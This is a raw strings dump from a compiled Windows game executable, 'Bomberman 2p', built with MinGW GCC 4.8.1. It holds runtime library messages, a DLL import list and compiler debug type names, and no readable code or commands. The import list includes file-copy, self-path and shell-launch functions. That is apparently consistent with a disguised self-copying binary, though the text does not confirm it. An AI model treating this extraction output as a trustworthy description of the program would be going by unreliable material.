w5F4FzTd9JWVnmuhnGCZplvo06oMch
LG79gmSBoWVJfzs
Error!
Window Registration Failed!
Bomberman 2p
Window Creation Failed!
myWindowClass
basic_string::at
basic_string::copy
basic_string::compare
basic_string::_S_create
basic_string::erase
basic_string::_M_replace_aux
basic_string::insert
basic_string::replace
basic_string::assign
basic_string::append
basic_string::resize
basic_string::_S_construct null not valid
basic_string::basic_string
basic_string::substr
std::exception
std::bad_exception
eh_globals
__gnu_cxx::__concurrence_lock_error
__gnu_cxx::__concurrence_unlock_error
std::future_error
std::bad_alloc
__terminate_handler_sh
__unexpected_handler_sh
std::bad_cast
std::bad_typeid
generic
system
future
Broken promise
Future already retrieved
Promise already satisfied
No associated state
Unknown error
bad_function_call
regex_error
terminate called after throwing an instance of '
what():
__gnu_cxx::__concurrence_lock_error
__gnu_cxx::__concurrence_unlock_error
__gnu_cxx::__concurrence_broadcast_error
__gnu_cxx::__concurrence_wait_error
_GLOBAL_
(anonymous namespace)
string literal
[abi:
{default arg#
JArray
vtable for
VTT for
construction vtable for
typeinfo for
typeinfo name for
typeinfo fn for
non-virtual thunk to
virtual thunk to
covariant return thunk to
java Class for
guard variable for
TLS init function for
TLS wrapper function for
reference temporary #
for
hidden alias for
transaction clone for
non-transaction clone for
_Sat
_Accum
_Fract
operator
operator
false
java resource
decltype (
{parm#
global constructors keyed to
global destructors keyed to
{lambda(
{unnamed type#
[clone
restrict
volatile
const
complex
imaginary
__vector(
std::allocator
allocator
std::basic_string
basic_string
std::string
std::basic_string<char, std::char_traits<char>, std::allocator<char> >
std::istream
std::basic_istream<char, std::char_traits<char> >
basic_istream
std::ostream
std::basic_ostream<char, std::char_traits<char> >
basic_ostream
std::iostream
std::basic_iostream<char, std::char_traits<char> >
basic_iostream
alignof
const_cast
delete[]
dynamic_cast
delete
operator""
new[]
reinterpret_cast
static_cast
sizeof
throw
throw
signed char
boolean
double
long double
float
__float128
unsigned char
unsigned int
unsigned
unsigned long
__int128
unsigned __int128
short
unsigned short
wchar_t
long long
unsigned long long
decimal32
decimal64
decimal128
char16_t
char32_t
decltype(nullptr)
Unknown error
Argument domain error (DOMAIN)
Argument singularity (SIGN)
Overflow range error (OVERFLOW)
The result is too small to be represented (UNDERFLOW)
Total loss of significance (TLOSS)
Partial loss of significance (PLOSS)
Address %p has no image-section
VirtualQuery failed for %d bytes at address %p
VirtualProtect failed with code 0x%x
use_fc_key
fc_key
sjlj_once
fc_static
idListCnt_shmem
idList_shmem
once_global_shmem
once_obj_shmem
idListMax_shmem
idListNextId_shmem
mtx_pthr_locked_shmem
pthr_root_shmem
pthr_last_shmem
_pthread_tls_shmem
_pthread_tls_once_shmem
_pthread_key_dest_shmem
_pthread_cancelling_shmem
_pthread_concur_shmem
_pthread_key_lock_shmem
_pthread_key_max_shmem
_pthread_key_sch_shmem
dummy_concurrency_level_shmem
mutex_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/mutex.c
(m_->valid == LIFE_MUTEX) && (m_->busy > 0)
mutex_global_static_shmem
mxattr_recursive_shmem
mxattr_errorcheck_shmem
cond_locked_shmem_cond
spin_locked_shmem
rwl_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/rwlock.c
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)
cond_locked_shmem_rwlock
N10__cxxabiv115__forced_unwindE
N10__cxxabiv117__class_type_infoE
N10__cxxabiv119__foreign_exceptionE
N10__cxxabiv120__si_class_type_infoE
*N12_GLOBAL__N_121future_error_categoryE
*N12_GLOBAL__N_121system_error_categoryE
*N12_GLOBAL__N_122generic_error_categoryE
N9__gnu_cxx24__concurrence_lock_errorE
N9__gnu_cxx24__concurrence_wait_errorE
N9__gnu_cxx26__concurrence_unlock_errorE
N9__gnu_cxx29__concurrence_broadcast_errorE
NSt13__future_base11_State_baseE
NSt13__future_base12_Result_baseE
NSt8ios_base7failureE
St10bad_typeid
St11logic_error
St11range_error
St11regex_error
St12domain_error
St12future_error
St12length_error
St12out_of_range
St12system_error
St13bad_exception
St13runtime_error
St14error_category
St14overflow_error
St15underflow_error
St16invalid_argument
St17bad_function_call
St8bad_cast
St9bad_alloc
St9exception
St9type_info
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
CryptAcquireContextA
BitBlt
CreateBitmap
CreateCompatibleBitmap
CreateCompatibleDC
DeleteDC
DeleteObject
GetObjectA
SelectObject
SetBkColor
AddAtomA
CloseHandle
CopyFileW
CreateEventA
CreateMutexA
CreateSemaphoreA
DeleteCriticalSection
DuplicateHandle
EnterCriticalSection
ExitProcess
FindAtomA
GetAtomNameA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetHandleInformation
GetLastError
GetModuleFileNameW
GetModuleHandleA
GetProcessAffinityMask
GetStartupInfoA
GetSystemTimeAsFileTime
GetThreadContext
GetThreadPriority
GetTickCount
InitializeCriticalSection
InterlockedCompareExchange
InterlockedDecrement
InterlockedExchange
InterlockedExchangeAdd
InterlockedIncrement
LeaveCriticalSection
QueryPerformanceCounter
ReleaseMutex
ReleaseSemaphore
ResetEvent
ResumeThread
SetEvent
SetLastError
SetProcessAffinityMask
SetThreadContext
SetThreadPriority
SetUnhandledExceptionFilter
Sleep
SuspendThread
TerminateProcess
TlsAlloc
TlsGetValue
TlsSetValue
TryEnterCriticalSection
UnhandledExceptionFilter
VirtualAlloc
VirtualProtect
VirtualQuery
WaitForMultipleObjects
WaitForSingleObject
__dllonexit
__getmainargs
__initenv
__lconv_init
__set_app_type
__setusermatherr
_acmdln
_amsg_exit
_beginthreadex
_cexit
_endthreadex
_fmode
_ftime
_initterm
_lock
_onexit
_setjmp3
_unlock
_write
abort
calloc
fprintf
fputc
fputs
fwrite
longjmp
malloc
memchr
memcmp
memcpy
memmove
memset
printf
realloc
signal
sprintf
srand
strcmp
strerror
strlen
strncmp
vfprintf
ShellExecuteW
BeginPaint
CreateWindowExA
DefWindowProcA
DestroyWindow
DispatchMessageA
EndPaint
FillRect
GetAsyncKeyState
GetClientRect
GetDC
GetMessageA
InvalidateRect
KillTimer
LoadBitmapA
LoadCursorA
LoadIconA
MessageBoxA
PostQuitMessage
RegisterClassExA
SetTimer
ShowWindow
TranslateMessage
UpdateWindow
ADVAPI32.dll
GDI32.dll
KERNEL32.dll
msvcrt.dll
SHELL32.DLL
USER32.dll
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crtexe.c
size_t
unsigned int
uintptr_t
wchar_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
WINBOOL
DWORD
float
LPBYTE
signed char
short int
long long unsigned int
LONG_PTR
ULONG_PTR
PVOID
LPSTR
PLONG
HANDLE
ULONGLONG
EXCEPTION_ROUTINE
PEXCEPTION_ROUTINE
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
_EXCEPTION_REGISTRATION_RECORD
Handler
handler
FiberData
Version
_NT_TIB
ExceptionList
StackBase
StackLimit
SubSystemTib
ArbitraryUserPointer
NT_TIB
PNT_TIB
_IMAGE_DOS_HEADER
e_magic
e_cblp
e_crlc
e_cparhdr
e_minalloc
e_maxalloc
e_csum
e_lfarlc
e_ovno
e_res
e_oemid
e_oeminfo
e_res2
e_lfanew
IMAGE_DOS_HEADER
PIMAGE_DOS_HEADER
_IMAGE_FILE_HEADER
Machine
NumberOfSections
TimeDateStamp
PointerToSymbolTable
NumberOfSymbols
SizeOfOptionalHeader
Characteristics
IMAGE_FILE_HEADER
_IMAGE_DATA_DIRECTORY
VirtualAddress
IMAGE_DATA_DIRECTORY
_IMAGE_OPTIONAL_HEADER
Magic
BaseOfData
IMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER32
_IMAGE_OPTIONAL_HEADER64
Magic
PIMAGE_OPTIONAL_HEADER64
_IMAGE_NT_HEADERS
Signature
FileHeader
OptionalHeader
PIMAGE_NT_HEADERS32
PIMAGE_NT_HEADERS
PIMAGE_TLS_CALLBACK
HINSTANCE__
unused
HINSTANCE
PTOP_LEVEL_EXCEPTION_FILTER
LPTOP_LEVEL_EXCEPTION_FILTER
_STARTUPINFOA
lpReserved
lpDesktop
lpTitle
dwXSize
dwYSize
dwXCountChars
dwYCountChars
dwFillAttribute
dwFlags
wShowWindow
cbReserved2
lpReserved2
hStdInput
hStdOutput
hStdError
STARTUPINFOA
STARTUPINFO
double
long double
_invalid_parameter_handler
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PVFV
_PIFV
newmode
_startupinfo
__uninitialized
__initializing
__initialized
_exception
retval
_TCHAR
__readfsdword
!Offset
#_TEB
$NtCurrentTeb
%duplicate_ppstrings
'__mingw_invalidParameterHandler
(expression
(function
(file
(line
(pReserved
)check_managed_app
"pDOSHeader
"pPEHeader
"pNTHeader32
"pNTHeader64
*pre_c_init
'pre_cpp_init
*__tmainCRTStartup
4lpszCommandLine
5StartupInfo
4inDoubleQuote
4lock_free
4fiberid
4nested
>WinMainCRTStartup
>mainCRTStartup
5argc
5argv
5envp
5argret
5mainret
5managedapp
5has_cctor
5startinfo
A__globallocalestatus
A_imp___fmode
A_dowildcard
A_newmode
A_imp____initenv
A_imp___acmdln
A__native_startup_state
A__native_startup_lock
CA_image_base__
A_imp___commode
A_fmode
A__xi_a
A__xi_z
A__xc_a
A__xc_z
A__dyn_tls_init_callback
A__onexitbegin
A__onexitend
Amingw_app_type
E__mingw_winmain_hInstance
E__mingw_winmain_lpCmdLine
E__mingw_winmain_nShowCmd
A__mingw_oldexcpt_handler
Emingw_pcinit
Emingw_pcppinit
A_MINGW_INSTALL_DEBUG_MATHERR
Fmingw_initltsdrot_force
Fmingw_initltsdyn_force
Fmingw_initltssuo_force
Fmingw_initcharmax
G__set_app_type
H_encode_pointer
I_setargv
G__mingw_setusermatherr
H__getmainargs
Hstrlen
Jmalloc
Kmemcpy
L_pei386_runtime_relocator
\H_set_invalid_parameter_handler
L_fpreset
)L__main
LHmain
L_cexit
7G_amsg_exit
G_initterm
Mexit
L__security_init_cookie
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlssup.c
unsigned int
uintptr_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
ULONG
WINBOOL
DWORD
float
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
PVOID
HANDLE
PIMAGE_TLS_CALLBACK
_IMAGE_TLS_DIRECTORY32
StartAddressOfRawData
EndAddressOfRawData
AddressOfIndex
AddressOfCallBacks
SizeOfZeroFill
Characteristics
IMAGE_TLS_DIRECTORY32
IMAGE_TLS_DIRECTORY
_PVFV
__dyn_tls_init
pfunc
__dyn_tls_dtor
__dyn_tls_init@12
__tlregdtor
__xd_a
__xd_z
_tls_index
_tls_start
_tls_end
__xl_a
__xl_z
_tls_used
_CRT_MT
__dyn_tls_init_callback
__xl_c
__xl_d
mingw_initltsdrot_force
mingw_initltsdyn_force
mingw_initltssuo_force
__mingw_TLScallback
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/charmax.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PIFV
my_lconv_init
mingw_initcharmax
_charmax
__mingw_pinit
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/mingw_helpers.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_decode_pointer
codedptr
_encode_pointer
mingw_app_type
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/xtxtmode.c
_fmode
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/atonexit.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
_onexit_t
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PVFV
mingw_onexit
onexitbegin
onexitend
retval
atexit
__onexitbegin
__onexitend
_imp___onexit
_decode_pointer
_lock
__dllonexit
_encode_pointer
_unlock
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/_newmode.c
_newmode
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/wildcard.c
_dowildcard
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/natstart.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
__uninitialized
__initializing
__initialized
__native_startup_state
__native_startup_lock
__native_dllmain_reason
__native_vcclrit_reason
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crt_handler.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
DWORD
float
signed char
short int
long long unsigned int
ULONG_PTR
PVOID
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
EXCEPTION_POINTERS
PTOP_LEVEL_EXCEPTION_FILTER
LPTOP_LEVEL_EXCEPTION_FILTER
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
__p_sig_fn_t
_gnu_exception_handler
_gnu_exception_handler@4
exception_data
old_handler
action
reset_fpu
__mingw_oldexcpt_handler
signal
_fpreset
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/cinitexe.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_PVFV
__xi_a
__xi_z
__xc_a
__xc_z
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/dllargv.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
_setargv
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/merr.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_iobuf
_base
_flag
_file
_charbuf
_bufsiz
_tmpfname
_exception
retval
fUserMathErr
__mingw_raise_matherr
__mingw_setusermatherr
_matherr
pexcept
stUserMathErr
_imp___iob
__setusermatherr
fprintf
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pseudo-reloc.c
__gnuc_va_list
__builtin_va_list
va_list
size_t
unsigned int
ptrdiff_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
DWORD
float
PBYTE
LPBYTE
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
SIZE_T
PVOID
_MEMORY_BASIC_INFORMATION
BaseAddress
AllocationBase
AllocationProtect
RegionSize
State
Protect
MEMORY_BASIC_INFORMATION
PhysicalAddress
VirtualSize
_IMAGE_SECTION_HEADER
VirtualAddress
SizeOfRawData
PointerToRawData
PointerToRelocations
PointerToLinenumbers
NumberOfRelocations
NumberOfLinenumbers
Characteristics
PIMAGE_SECTION_HEADER
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_iobuf
_base
_flag
_file
_charbuf
_bufsiz
_tmpfname
addend
target
runtime_pseudo_reloc_item_v1
target
flags
runtime_pseudo_reloc_item_v2
magic1
magic2
version
runtime_pseudo_reloc_v2
old_protect
sec_start
__write_memory
oldprot
call_unprotect
do_pseudo_reloc
start
addr_imp
reldata
reloc_target
v2_hdr
newval
__report_error
#mark_section_writable
$addr
#restore_modified_sections
%oldprot
/_pei386_runtime_relocator
0was_init
1mSecs
the_secs
maxSections
8_imp___iob
8__RUNTIME_PSEUDO_RELOC_LIST__
8__RUNTIME_PSEUDO_RELOC_LIST_END__
8_image_base__
9__builtin_fwrite
fwrite
;vfprintf
<abort
=__mingw_GetSectionForAddress
>_GetPEImageBase
?memcpy
>__mingw_GetSectionCount
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/CRT_fp10.c
_fpreset
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/gccmain.c
unsigned int
ptrdiff_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
func_ptr
__do_global_dtors
__do_global_ctors
nptrs
__main
initialized
__CTOR_LIST__
__DTOR_LIST__
atexit
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crt0_c.c
unsigned int
short unsigned int
long int
long long int
sizetype
